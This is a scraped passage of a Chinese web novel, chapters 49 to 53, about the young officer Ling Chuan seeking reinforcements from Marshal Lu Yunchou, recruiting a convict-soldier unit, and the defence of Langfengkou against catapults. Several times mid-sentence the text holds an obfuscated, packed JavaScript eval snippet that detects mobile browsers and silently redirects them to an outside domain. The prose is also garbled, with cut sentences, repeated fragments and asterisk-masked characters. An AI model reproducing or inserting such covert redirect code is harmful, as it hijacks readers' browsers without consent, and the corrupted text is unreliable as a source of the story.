之所以没有设在飞龙城中,一来是如此大规模的营地占地太广,再则是为了保证出兵的机动性,出营便可策马疾驰。 来到辕门跟前,映入眼帘的是一座巨大的演武场,场中黑压压的兵卒列成数十个方阵,所有将士兵甲鲜亮、剑戟肃杀。 上方旌旗蔽空、猎猎作响,刚一靠近,凌川便感受到了一股肃杀之气。 哪怕他前世见过纪律更为鲜明、作风更为优良的现代化军队,此刻也深感震撼。 点将台右侧,身形魁梧的鼓将挥动鼓槌,擂响战鼓。 “咚,咚,咚……” 沉闷的鼓声宛如闷雷一般,响彻整座大营,让全体将士的心脏随之跳动。 “吼!吼!吼!”数万将士齐声大喊,声如**、令天地剧颤。 卢恽筹翻身下马,径直走向点将台,哪怕他已年近花甲,却依然精神矍铄,龙行虎步间尽显将帅威严。 但真正让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947964|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏息的是那双眼睛,灰白眉骨下,瞳孔如冻透的黑曜石,扫过校场时,连嘶鸣的战马都垂下了头。 忽然,他轻抬右手,鼓声与呼喊声戛然而止。 凌川内心不由得一惊,他尽管没见过这支队伍的战斗力,可但从精气神和纪律来看,战力应该不会差才对,为何会连连败给胡羯人? 凌川本想驻足观望,却被两名亲兵带离演武场,来到一座单独的营房之中。 来到一间单独的营房,凌川内心却是十分忐忑,虽然自己见到了大将军,但能否借到援兵和粮草还是一个未知数。 最主要的是,待在这个人生地不熟的地方,凌川始终内心不安,以章绩的能力只需略施手段,便可让自己万劫不复。 片刻之后,凌川注意到,带自己过来那两名亲兵悄悄离开了。 这让他敏锐察觉到了一丝不安,凌川也顾不得命令直接跑了出去,既然猜不到章绩会用什么手段,那最好的办法就是把自己从明处隐入暗中。 凌川在营房周围转了一会,但凡遇到士兵就远远避开,尽量不与他们打照面。 凌川前脚离开那座营房,后脚便有一名身着校尉甲,脸上有一道刀疤的男子带着几名持刀士兵冲了进去,然而进来之后,房中空空如也,凌川已不知去向。 “人跑了,怎么办?”其中一名士兵问道。 “我去禀告章大人!你们赶紧去找!”脸带刀疤的校尉沉声说道。 很快,凌川发现,这片营房的格局竟然暗合九宫八卦之形,由此可见建造营房之人,绝对是一位行家。 既然发现了这一特点,凌川脑海中对于整片营区地形就有了大致概念,这能让他轻松找到帅营的位置。 就在这时,两名士兵朝着凌川迎面走来,目光一直在他身上打量。 凌川巧妙走进一条巷道,本意是想避开他们。 “站住!” 两**喊一声,直接追了上来。 听到身后这一声大喊,凌川不由得加快了脚步,很显然这两人是奔着自己来的。 第49章 北疆主帅,卢恽筹! 凌川不知道这两人为何追自己但肯定不是好事。 整个北疆大营想要对自己不利的也就只有章绩自己决不能落入他的手中。 “站住!” 凌川转过一道弯发现前面的路也被人堵**他只能左突右拐不断变换方向可追的人越来越多凌川好几次都险些被抓住。 凌川脑子快速转动这样跑下去迟早要被围住为今之计也只能赌一把朝帅营方向跑了。 “此人盗取机密乃是胡羯的谍子快给我抓住他!” 这一声大吼惊动了一队巡营的士兵领头的标长见状直接带人冲了过来将凌川团团围住。 面对手持战刀将自己团团围住的士兵凌川神色冷漠他已经做好了拼命的准备。 脸带那名校尉走上前来冷喝道:“给我拿下!” 一队士兵就要上前对凌川动手。 就在此时一声怒喝传来只见一名身着月白襕衫的中年男子快步走来其身后还跟着一队士兵领头之人赫然是大将军的亲兵校尉樊鹏。 刀疤校尉见来人竟是参军叶世珍眼神中闪过一丝慌乱但还是壮起胆子说道:“叶大人此人乃是胡羯人的碟子盗取机密被我等发现正要将其拿下!” 来人不是别人正是凌川认识的叶先生。 叶世珍看了刀疤校尉一眼随后对身后樊鹏厉声问道:“谍子都摸进漠北大营来了樊校尉马上去查实今日是何人值守全员问斩!” 此言一出那名巡营标长脸色剧变连忙抱拳道:“叶大人明察属下一直带着兄弟们巡营不敢有丝毫懈怠!” 随即他又看向刀疤校尉说道:“是罗校尉说此人是胡羯人的谍子卑职并不知情!” 叶世珍根本不听他解释一脸冷漠地说道:“那你们自己去查若此人真是谍子你们自己把脖子洗干净!” 紧接着他又看向罗校尉问道:“如果证明他不是碟子罗校尉是不是要给个说法?” 一时间罗校尉脸色变得无比难看这下子不仅把章大人交代的事情搞砸了自己还惹了一身骚他脸色能好看才怪了。 “樊校尉 樊校尉此前在五里亭便见过凌川知道是怎么回事只见他一挥手身后两名士兵走上来便将凌川带走。 来到无人之处叶世珍转身看着凌川笑道:“凌兄弟我可是又救了你一次啊!” 凌川连忙抱拳道谢:“多谢叶先生出手相救!” 叶世珍笑着拍了拍他的肩膀,说道:“跟你开个玩笑,你还当真了,走我带你见大将军去!” 一路来到帅营,叶世珍让凌川在门外等候,而他则是率先进去禀报。 “大将军,人带到了!” “进来吧!” 听到卢恽筹的声音,凌川迈步走进帅营。 “狼烽口戊标标长凌川,参见大将军!”凌川单膝跪地,声音朗朗。 他用眼角的余光快速扫视了一眼,发现偌大的帅营之中,站着将近二十人,大多为身披甲胄的武将,也有几名身着儒衫的参军,其中便有章绩。 章绩见凌川出现在这里,阴冷的眼神中闪过一丝诧异。 “说吧,你在五里亭拦本帅的路,所为何事?”卢恽筹开口问道。 凌川赶忙抱拳,朗声说道:“启禀大将军,胡羯出动三千精锐攻打狼烽口,狼烽口只有五百守军,且只有三日军粮,恐守不住,请大将军下令出兵支援!” 此言一出,满堂众人一片哗然,显然,他们都不知道这件事情。 “难怪拓跋桀这老狐狸突然发兵老龙口和朝天垭,原来是为狼烽口打掩护!”一名须发斑白的武将一拍脑门,恍然道。 另一名满脸络腮胡的中年将领对凌川问道:“敌军如今距离狼烽口有多远,领兵之人是谁?” “昨日便已兵临狼烽口外,领兵之人是霍元青!”凌川回答道。 “竟是这个**!”那年老将领咬牙切齿地说道,显然对于这位大周叛将十分痛恨。 那名大胡子将领闻言顿时一怒,一把揪住凌川的胸口,喝问道:“如此重要的军情,为何现在才送到?若是狼烽口失守,他陈暻垚就算死十次,也难赎其罪!” 这番话让凌川瞬间明白,之前狼烽口送来的军情,多半也被章绩也截下了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947965|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但他现在却装作一脸无辜,说道:“将军明鉴,陈校尉派来的信使三日前就已经返回狼烽口了,属下昨日天黑前也已经将消息送入节度府之中!” 此言一出,现场一众将领无不是勃然大怒,纷纷将目光看向卢恽筹。 后者同样是强压着心中的怒火,沉声问道:“谁能告诉本将,这是怎么回事?” 章绩狠狠剐了凌川一眼,随即面朝卢恽筹躬身说道:“禀大将军,几日前,狼烽口确实有传信,不过卑职觉得,狼烽口地势险要易守难攻,当年五千胡羯人都未能攻下,这次才三千敌人,想来也不在话下! ” “粮草呢?”卢恽筹又问。 “朝廷的粮草本来年前就该到的,可因大雪延误至今未到,城中粮草也所剩不多,卑职便让陈暻垚就近征粮。”章绩这番说辞可谓是滴水不漏,但,凌川知道,他每一句话都在撒谎。 卢恽筹沉默良久,对凌川说道:“你先下去吧!” 凌川神色一变,“大将军……” “我的话你没听见吗?”卢恽筹的声音陡然拔高,眼神中的怒火更是丝毫不加掩饰。 “属下告退!”凌川抱拳行礼,转身退出正堂。 走出帅营的他,内心五味杂陈。 本以为,只要见到大将军卢恽筹,一切的问题都会迎刃而解,可事实证明,自己的想法太天真了。 就算是傻子都看得出来,是章绩在从中作梗,然而,章绩却没有受到任何惩罚,甚至连一句问责都没有。 或许,是自己的地位不够,就算要处置章绩,也不可能当着自己的面处置,但,他更相信,这件事情最终会不了了之。 看来,大周的腐朽,远比自己想象中的要严重得多,要不然,延误军机这种事情,怎么可能发生? 凌川在帅营外来回踱步,不断有将领手持令旗匆忙离开,又等了一会,章绩也出来了。 只见他一昂首来到凌川身边,望着天空小声说道:“别以为见到大将军,就能翻身,在我眼里,你依然是一只蝼蚁!” 说完,章绩径直离去。 第50章 死字营! 看着那道背影,凌川双拳紧握,如果昨日在马车上只是一时冲动,那么此刻的凌川是真的动了杀心。 今天,若非叶世珍及时赶到,自己就算能拼死一搏,能否脱身还是一个未知数。 “凌川兄弟,大将军叫你进去!” 就在这时,身后传来叶世珍的声音。 再次进入帅营,凌川只看到卢恽筹一人,此时他已经卸掉战甲,端坐于主位之上,满头白发尽显沧桑。 “属下参见大将军!”凌川再次抱拳行礼。 卢恽筹点了点头,看向凌川,问道:“你是不是觉得,我没有处置章绩,是官官相护,全然不顾边境安危?” 此时他的语气缓和了很多。 “属下不敢!” “你都敢拦老夫的帅旗了,什么敢不敢的?老夫也曾年轻过,知道你心里想什么!”卢恽筹笑了笑说道。 “章绩与你的恩怨,我都知道了,今日军械库之事也已经查清,但我眼下却不能动他!”卢恽筹的语气中带着几分无奈。 “为什么?” 凌川很是不解,卢恽筹身为帝国大将军,北系军统帅,放眼整个北疆不都是他说了算吗?为何还办不了一个小小的参军? 莫非,真如自己猜测那般,在这些大人物眼里只有利益,所谓的家国大义都不过是嘴上的玩笑? “年轻人,你太小看我卢恽筹了!”卢恽筹似乎看出了他心中所想,说道:“之所以暂时不能动他,是因为他老丈人是户部尚书兼度支使,若是我办了他,往后北疆四十万大军的军衣粮草,都将是大问题!”卢恽筹看着凌川,淡淡说道。 听到这番话,凌川恍然大悟,难怪章绩如此的有恃无恐,哪怕明知自己那些小动作就要被揭发,依然是那般的气定神闲,原来他有如此强硬的后台。 卢恽筹身为北疆统帅,正二品大将军,而户部尚书只是正三品,就官职品阶而言,比卢恽筹还低了两阶,可人家掌管着钱粮两个袋子,以至于卢恽筹也要给几分面子。 当然,站在卢恽筹的位置,为凌川这样一个无足轻重的小人物,犯不着与朝中的户部尚书交恶。 “粮草的事情,我已经让叶世珍去办了,你无须担心!” “不过……”卢恽筹顿了顿,继续说道:“胡羯对老龙口和朝天垭各发兵两万,其他地方同样也在暗中集结兵马,我已经抽不出兵力援助狼烽口了!” 听闻此言,凌川内心顿时一紧。 不管卢恽筹所言真假,他想表达的意思已经很 明显了,那就是没有援军。 这一刻,所有的希望都破灭了。 狼烽口五百兄弟还在等着自己,成千上万百姓的生死存亡全系自己一人身上,自己若现在回去,该怎么跟他们交代?又该如何对自己交代? “大将军,狼烽口有多重要想必不用我多言,若是**贼攻破,五百守军死则死矣,可数百里疆土和成千上万的百姓都将**羯铁骑踏碎……” 凌川声音都在颤抖,眼神之中满是恳求,一双膝盖逐渐弯曲,眼看就要跪下。 “给我站着!”卢恽筹大喝一声,怒目而视。 “堂堂七尺男儿,跪天跪地跪天子跪父母,唯独不能对权势下跪!我北疆边军骨头比铁硬,哪怕站着死,也不跪着生!” 这番话,字字铿锵。 “我比你更清楚狼烽口的重要性,但狼烽口至少有险可据,你可知北疆有多少地方是一马平川,一旦开战,那都是要用将士们的身体去筑墙,以此来抵挡胡羯铁骑的!” 卢恽筹声色俱厉,目光如刀,盯着凌川。 就在这时,站在门口一直没有说话的叶世珍走上前来,对着卢恽筹拱手说道:“大将军,属下有个办法,或许可解狼烽口之急!” “世珍,如今北疆大营还有多少可用之兵,你应该比我更清楚,而这些兵力,不到万不得已,是决不能动用的!” “属下明白,但大将军别忘了,我们还有一支队伍!”叶世珍说道。 “哦?还有哪支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947966|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍?”卢恽筹疑惑问道。 叶世珍突出三个字:“死字营!” 卢恽筹闻言,顿时眉头一皱! 死字营,他确实忽略了这支队伍,不过,死字营之中基本都是被打入奴籍的罪人,更是不乏从各地发配而来的死囚,北疆死字营足有三千余人。 平时死字营军奴大多都在从事劳作,或是修补城墙,或是搬运物资,亦或是锻造兵器等苦差,而且,大多数时候都是吃不饱的,过着苟延残喘的日子。 最主要的是,一旦开战,这些军奴就会被派往战场充当炮灰,往往攻城战便是这些军奴最先上,此外,也不乏用他们的身体去阻挡敌人骑军冲锋。 也算是让这些戴罪之人发挥最后一点作用。 可卢恽筹担心的是,这些军奴一旦脱离了北疆大营,就等同于离开了牢笼,谁还能管住他们? 对于死字营,所有边军都不陌生,每每提及都是谈之色变。 按照之前大周军律,若是连续三年寸功未立,就得被打入死字营,凌川穿越过来之前,前身就面临着即将被打入死字营的困境。 当然,他并不是没有军功,而是所有军功都被刘武给抢走了。 “不行,死字营之中不乏穷凶极恶之辈,一旦脱困,恐出祸患!”卢恽筹思虑片刻,摇头说道。 凌川知道,这是最后的机会,他一咬牙,抱拳说道:“大将军,我能管束他们!” “你可知道,死字营中都是些什么人?你拿什么管束?”卢恽筹厉声问道。 “属下愿以项上人头,立下军令状!”凌川字字铿锵。 此言一出,就算是叶世珍,也暗自为凌川捏了一把冷汗,就算是他,也想不出能制约这些亡命之徒的办法。 卢恽筹目光一凝,死死盯着凌川,见凌川神色一片坚定,“你可知,军中无戏言!” “属下知道!”凌川态度无比坚决,随即,抬起目光看向卢恽筹,说道:“不过,属下有几点请求,请大将军准许!” “说吧!” 第51章 提点军奴! 半个时辰之后凌川与叶世珍一起走出帅营径直朝着北面死字营而去。 “恭喜凌校尉!”叶世珍拱手道喜。 “此次若无先生相助别说援军估计连一粒军粮都看不到我代表狼烽口五百兄弟谢过先生!”凌川对叶世珍是发自内心的感谢。 刚才大将军封他为校尉**字营提点一千军奴驰援狼烽口但他却一点也高兴不起来。 毕竟这一千军奴能有多少战斗力、能否救得了狼烽口他心里根本没底。 死字营的营地跟漠北大营是一体的只不过只占极小的一个角落而且平时都有重兵把守。 凌川到来的时候 三千军奴站在被踩成黑泥的雪地里所有人都戴着脚镣一个个面黄肌瘦、目光暗淡宛如行尸走肉。 随着凌川登上高台不少军奴的眼神之中涌现出恐惧之色也有一些年龄稍长之人露出解脱之色。 他们之中很多人都已经听说胡羯人又出兵攻打边疆了这个时候将他们召集起来只有一种可能那就是让他们去当炮灰抵挡胡贼的铁骑和屠刀。 死亡的恐惧瞬间涌上心头但对于那些被发配到北疆多年的死囚而言与其这般苟延残喘**未尝不是一种解脱。 “我需要一千人随我一起去杀敌!”凌川目光如炬从下方黑压压的人群身上扫过。 所有军奴都毫无表情宛如木偶对于凌川的话更是置若罔闻。 凌川继续说道:“我无法保证你们跟着我去都能活着回来但我可以拍着胸脯告诉你们只要跟我去无论生死往后你们都将解除奴籍堂堂正正做人!” 此言一出下方所有军奴只感觉脑海中一声惊雷炸响。 一个个抬起头看着站在上方那个清秀少年浑浊的眼神中写满了不可置信。 解除奴籍?自己没听错吧? 对于他们而言自被打入奴籍的那一天开始这一生的命运就基本已经注定。 虽说帝国有规定被打入奴籍的死字营成员只要杀敌满十便可解除奴籍恢复白身可只有真正上过战场的人才知道这根本就是不可能的事情。 他们出现在战场上并非是以士兵的身份甚至连死士都不算就是名副其实的炮灰穿的是最破烂的铠甲拿的是生锈断裂的兵器甚至很多人连兵器都没有完全就是 以血肉之躯跟敌人的坚甲利器对碰。 这种情况,别说是杀敌立功,能活下来就已经是奇迹了。 “这位将军,你说的可是真的?”一名身形枯瘦的军奴汉子怯声问道。 凌川点了点头,肯定说道:“我不是将军,一个时辰前我还只是一位标长,刚被大将军提为校尉,不过,我刚才的话却是大将军亲口允诺的,不信你们可以问大将军身边的参军叶大人!” 站在不远处的叶世珍也点了点头说道:“大将军确实答应了,只不过有一个条件,那就是你们必须全程听从凌校尉的命令,若有不从者,全员问斩!” 此言一出,不少人顿时倒吸一口凉气。 事实上,这也是凌川与叶世珍在路上商量好的,一人唱红脸,一人唱黑脸,而且,利用这种连坐制度,让他们彼此监督,谁也不敢乱来。 非常时期用非常手段。 “好!我们跟你干!”那名汉子几乎没怎么考虑,直接答应下来。 事实上,对于他们来说,死亡是迟早的事情,而且,现在这样活着,比**也好不到哪儿去。 与其如此,那还不如放手一搏,能不能成功,就看命了! “我们跟你干,大不了就是一死,只要活下来,就能翻身!” 一时间,不少军奴纷纷表示愿意跟着凌川干一场,毕竟,对于他们来说,解除奴籍的诱惑实在是太大了。 然而,凌川接下来的一句话,却让不少人刚燃起的希望再次熄灭。 “并不是谁都够资格跟着我,因为,此次行动九死一生,失败就意味着我也要跟你们一起死,但我不想死!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947967|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凌川继续说道:“曾参军入伍者,出列!” 顿时,人群中一阵骚动,陆陆续续便有五百余人出列。 之前凌川便向叶世珍了解过,死字营之中,不少都是曾经的边军,有的以前就是北疆的边军,有的则是来自其他地方,因为触犯军纪或是其他原因被发配到死字营。 只是,凌川没想到,被打入死字营的兵卒数量竟然如此惊人。 “能骑马射箭者,出列!”凌川再次开口。 此言一出,人群之中再次人影晃动,足足六百余人出列,加上之前是五百余人,足有一千多人,这在数量上,就已经足够了。 当然,并非出列的凌川都要,接下来,叶世珍会让人对照花名册进行筛选,难免其中有鱼目混珠之人。 而且,有的人虽然曾经是边军,但如今年龄已经很大,或者是身体情况已经不支持他们上战场的,凌川也不会要。 “被选中的别急着高兴,因为,你们明天就有可能会死!没被选中的也不要觉得失望,你们以后还有机会!” 不到半个时辰,叶世珍便让人将这一千多军奴全部筛选了一遍,最终有近二百人被剔了出来,剩下一千余人。 “人已经选出来了,战马和兵甲我已经让人去武库点取了,很快就能送过来!”叶世珍看着凌川问道。 “叶先生今日之恩,凌川没齿难忘,若我还能活下来的话,定当报答!”凌川感激道。 “昨晚我跟你说,我曾学过算卦真不是诓你,我看你面相,绝非短命之人,我等你凯旋的消息!”叶世珍拍了拍凌川的肩膀,说道。 “粮草的事情,就有劳叶先生了!”凌川再次说道。 叶世珍点头说道:“放心,你们先行一步,粮草随后就到!” 要是平时,凌川这一千人便可以顺带将粮草运至狼烽口,可眼下却根本来不及,估计霍元青已经开始对狼烽口动手了。 凌川也很清楚,留给自己的时间,不多了。 第52章 千骑出漠北 很快一千匹战马被送到校场马背之上除了甲胄之外战刀、**、弓箭全部配齐。 这些都是凌川向卢恽筹要来的或许是对无法援助狼烽口深感愧疚卢恽筹只是略微思考便答应了下来。 虽然这些甲胄很一般但至少是铁甲比狼烽口士兵的皮甲好了太多。 至于战马对于整个北疆而言都是稀罕物毕竟大周战马产量本就不高以至于整个北系军骑兵占比不足五分之一这一千匹战马的珍贵程度可想而知。 事实上凌川也没想到卢恽筹会答应得这么爽快按照他原本猜想能给他两百匹战马就已经很不错了。 凌川让所有人披甲列队虽说许多人动作生疏但还是很快就完成了。 “记住从现在开始你们便是一名战兵此次出战既是杀敌也是挣命!” “是!” 所有**声回答道声音并不整齐但却异常洪亮. 相比起之前他们的眼神中多了几分光亮有了属于人的神采。 “曾在军中担任过标长乃至以上职位者出列!” “启禀将军属下唐岿然曾在南系军中任都尉!”一名身形高大但略显消瘦的汉子抱拳回答道。 “属下刘晏曾任幽州军标长!” “属下纪天禄曾任北疆云州军斥候校尉” “属下洛青云曾在神都任禁军都尉!” 很快便有十多人出列并纷纷报出自己曾经在军中的职位。 凌川内心十分惊愕没想到这死字营之中竟然卧虎藏龙不少人曾经都是手握大权的人物不过他们既然出现在死字营也变相说明他们犯下的事儿定然不小。 眼下凌川没工夫去深究这些他直接点了十人说道:“从现在起我任你们为标长各统领百人队伍!” 这十人满脸错愕这就直接当标长了? 虽说他们之中好几人曾经都是校尉、都尉标长并不算什么大官可正因为如此他们比其他人更清楚一名小卒在军中想要当上标长有多不容易。 “不用惊讶我让你们当标长是对你们的信任和对你们能力的肯定 “明白!”十**声回答道。 夜幕降临天空再次飘起了大雪一千人兵甲鲜亮神色肃穆静静立于风雪之中。 “出发!” 凌川一声大喝随即一马当先 奔了出去。 身后十名标长紧紧跟随。 后方千骑陆续动了起来宛如一条黑龙撞破漫天飞雪撕裂漠北大地。 千骑出漠北白浪卷疆场! 风雪染江山沙场葬英魂! …… 狼烽口! 一片肃杀之气笼罩在每一个人的头顶一些新兵感觉呼吸都变得凝重起来。 陈暻垚站在城墙之上眺望着关外那片白茫茫的营帐在夕阳的照射下异常醒目。 已经整整两天了可敌军却始终没有发动进攻这让陈暻垚百思不得其解。 为了避免无谓的牺牲他已经提前将斥候全部撤回关外如今他对于关外的情况一无所知。 “校尉大人这霍元青围而不攻到底想干什么?”熊广疑惑地问道。 陈暻垚摇了摇头表示自己也不清楚他也想过霍元青是不是知道狼烽口快断粮了想要以此耗死他们可很快就将这个念头打消。 毕竟快断粮的消息只有几名标长知道就连到附近市集村落购粮的士兵也不知道内情。 “呜呜……” 就在这时雄浑的号角声传来声音深沉而厚重哪怕相隔数里的狼烽口也听得清清楚楚。 霎时间狼烽口守军神经紧绷。 “胡羯人要开始进攻了全军备战!”陈暻垚果断下达命令。 城墙上滚石檑木堆积如山箭矢更是成捆堆码在一起显然是为这一场守城战做好了充足的准备。 “呜呜……” 低沉的号角声再次传来只不过这一次比之前更加急促。 不多时只见一股黑色浪潮在雪地中翻滚以极快的速度朝着狼烽口席卷而来。 数里距离在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947968|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一望无垠的大漠雪原一眼便可收纳眼底。 狼烽口城墙之上两百守军神色肃穆眼底杀意燃烧他们并未急着弯弓搭箭而且死死盯着那股呼啸而来的黑色浪潮。 相比起一个月前他们的整体素质提升了不止一个档次真正能够做到令行禁止。 陈暻垚并未将五百人全部派上城墙而是分成两批轮番上阵。 因为他很清楚 不到一炷香的时间那黑色浪潮终于通过雪谷来到城外。 对方人数大约一千人除了三百骑兵剩下的全是步卒。 步兵之中 ,近半数都是盾牌手,剩余的则是弓箭手,陈暻垚扫视一圈,发现领兵之人是胡人长相,显然,主将霍元青并没有来。 没有所谓的阵前骂战,更没有武将上前挑衅单挑之类的环节,只见那名胡人将领拔出腰间弯刀往前一挥。 “冲!” “呼呼……” 数百胡羯士兵手持盾牌,径直朝着城门方向冲过来,他们并未排列在一起,而是尽可能分散开来,这对于狼烽口的守军而来,目标分散,弓箭命中的难度也会更大。 “滚石!” 就在对方距离城墙只有数十步的时候,城墙之上一声大喝。 霎时间,一块块磨盘大小的巨石从城墙之上砸了下来,那些胡羯士兵尽管手持盾牌,也根本挡不住这些巨石。 “啊,啊……” 一声声惨叫响起,不断有胡羯士兵被巨石砸中,身死当场。 但,还是有不少人冲到了城墙下,他们沿着城墙直奔城门而去。 可就在此时,上方一根根圆木顺着墙壁砸落下来,这些圆木每一根都有水桶粗细,一丈余长,这样贴着墙壁砸下,一砸就是一大片。 更要命的是,每根圆木之上四周都装上了数十上百根尖锐的铁锥,每根足有一尺多长,使得这些圆木就像是一根根巨大的狼牙棒,从高空砸落下来,瞬间便可穿透盾牌,很多胡羯士兵都被其穿身而死。 第53章 攻城大杀器! 约莫半个时辰之后,敌军的第一波进攻被打退,二百余人死伤过半,剩余的全部撤到远处。 然而,陈暻垚却总感觉不对劲,虽说这是胡羯人惯用的进攻方式,可这次对方的主将可是周人出生的霍元青,他比其他胡羯人都了解周军的防守手段,不可能没有应对之策才对。 就这样,胡羯人每隔一个时辰便发起一次进攻,但,后面几次都像是象征性的试探,甚至都没有进入城墙守军的射程范围,只是挑衅一番就撤回去了,这让陈暻垚更加怀疑。 不过,陈暻垚隐约发现,雪谷之中能看到人影来回穿行,而且,数量还不少。 刚开始他以为是对方再次投入了兵力,可攻城的始终是那支队伍,这让他很是疑惑。 一直到后半夜,陈暻垚下令换防,将城墙上的乙标和丙标换下去修整,将正在修整的丁标和戊标派上来。 至于甲标则是随时做好支援和策应的准备,并没有上城楼。 然而,刚完成换防,异变突起! 只见一块巨石自城外飞来,重重砸在城墙的一处垛口之上。 “砰…… 一声巨响,那垛口直接被砸碎,就连城墙都随之颤动。 陈暻垚神色巨变,大吼道: “注意隐蔽,敌军有投石车! 他想不通,狼烽口之外那条峡谷河道崎岖狭窄,投石车根本运不进来,但现在投石车确确实实出现在了狼烽口外,而且,还不止一架。 思来想去,只有一种可能,那就是对方将投石车拆开搬运过来,然后再现场组装,除此之外,陈暻垚想不到其他可能。 也是在此时,他终于明白,为何对方之前的攻击那么敷衍,也明白此前雪谷之中那些来回穿行的人影是在做什么了。 顷刻之间,一块块巨石从城外的黑暗中飞来,有的砸在城墙上,有的则是直接飞入城内。 投石车的射程远超一般的**,动辄便可以达到五六百步开外,在攻克一些雄关巨城的时候,这往往是制胜秘宝。 曾经,大周一位将领便凭此方法,直接将城墙外填出一条坡道,最终步兵直接沿着坡道杀进城内。 陈暻垚之所以没有想到这一点,还有一个重要原因,那就是在以往的胡羯军队中,从未出现过投石车,毕竟,这个马背上的民族,无论是农耕还是制造工艺都远远逊色于中原。 可他忽略了,这次攻打狼烽口的主将霍元青,他曾经也是周人,而且,父辈本就是出色的将领,定然是知道这一攻城大杀器 的只是。陈暻垚没想到霍元青竟然能将其做出来。 看着那些重达数百斤呼啸着从城外飞来守城士兵的眼神里都写满恐惧奈何城墙狭窄能躲避的空间极为有限。 而且对方的投石车处于黑暗之中等他们看清飞石的时候已经来不及躲避了。 “砰……” 又一块巨石砸在城墙上墙面直接砸出来一个大坑砖石碎裂夯土松散。 “啊……” 一声惨叫传来只见一块巨石直接将城垛轰碎弓着身子躲在城垛后边的士兵当场被压住只有下半截身子露着很快大石头下边的血迹就流淌了出来。 “愣子!”他身边的同伴拼了命地冲过来想要将巨石搬开奈何拼尽全力都难以撼动分毫。 他只能抱着对方的双腿 噗的一声压在下边的士兵身体直接被拉断那名士兵抱着半截身子脸色一片苍白。 这样的惨状到处都在发生不远处一名士兵刚躲开一块飞石结果另一块石头从天而降当场将其砸成一滩肉泥。 一番轰砸下来周军三十余人身死伤者更是接近百人。 陈暻垚目眦欲裂但他还是强行让自己冷静下来。 “传令甲标携木幔上城支援!” “得令!”一名亲兵迅速前去传令。 “命乙标和丙标伐竹编制竹幔越多越好!”陈暻垚迅速下达了第二条命令。 “得令!” 尽管此前陈暻垚并未遇到过投石车但他熟读兵书知道如何应对。 很快甲标标长耿良便带人抬着大量木幔来到城墙之上。 所谓木幔就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947969|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一个木架子上撞钉厚实的木板虽无法彻底挡下飞石但至少能抵消飞石的大部分力量就算被砸中也不至于当场丧命。 果然随着木幔被架上很多飞石都被挡了下来只不过面对那些沉重的巨石很多木幔只承受了一次便直接碎开了。 “还有多少木幔全部拿上来!”陈暻垚大声问道。 “大人这些木幔都是多年前制作的一直丢在仓库之中没用过卑职全部搬上来了!”耿良回答道。 “让他们加紧制作能做多少是多少!” “是!” 眼下陈暻垚也顾不得让乙标和丙标修整了得抓紧时间制作木幔和竹幔。 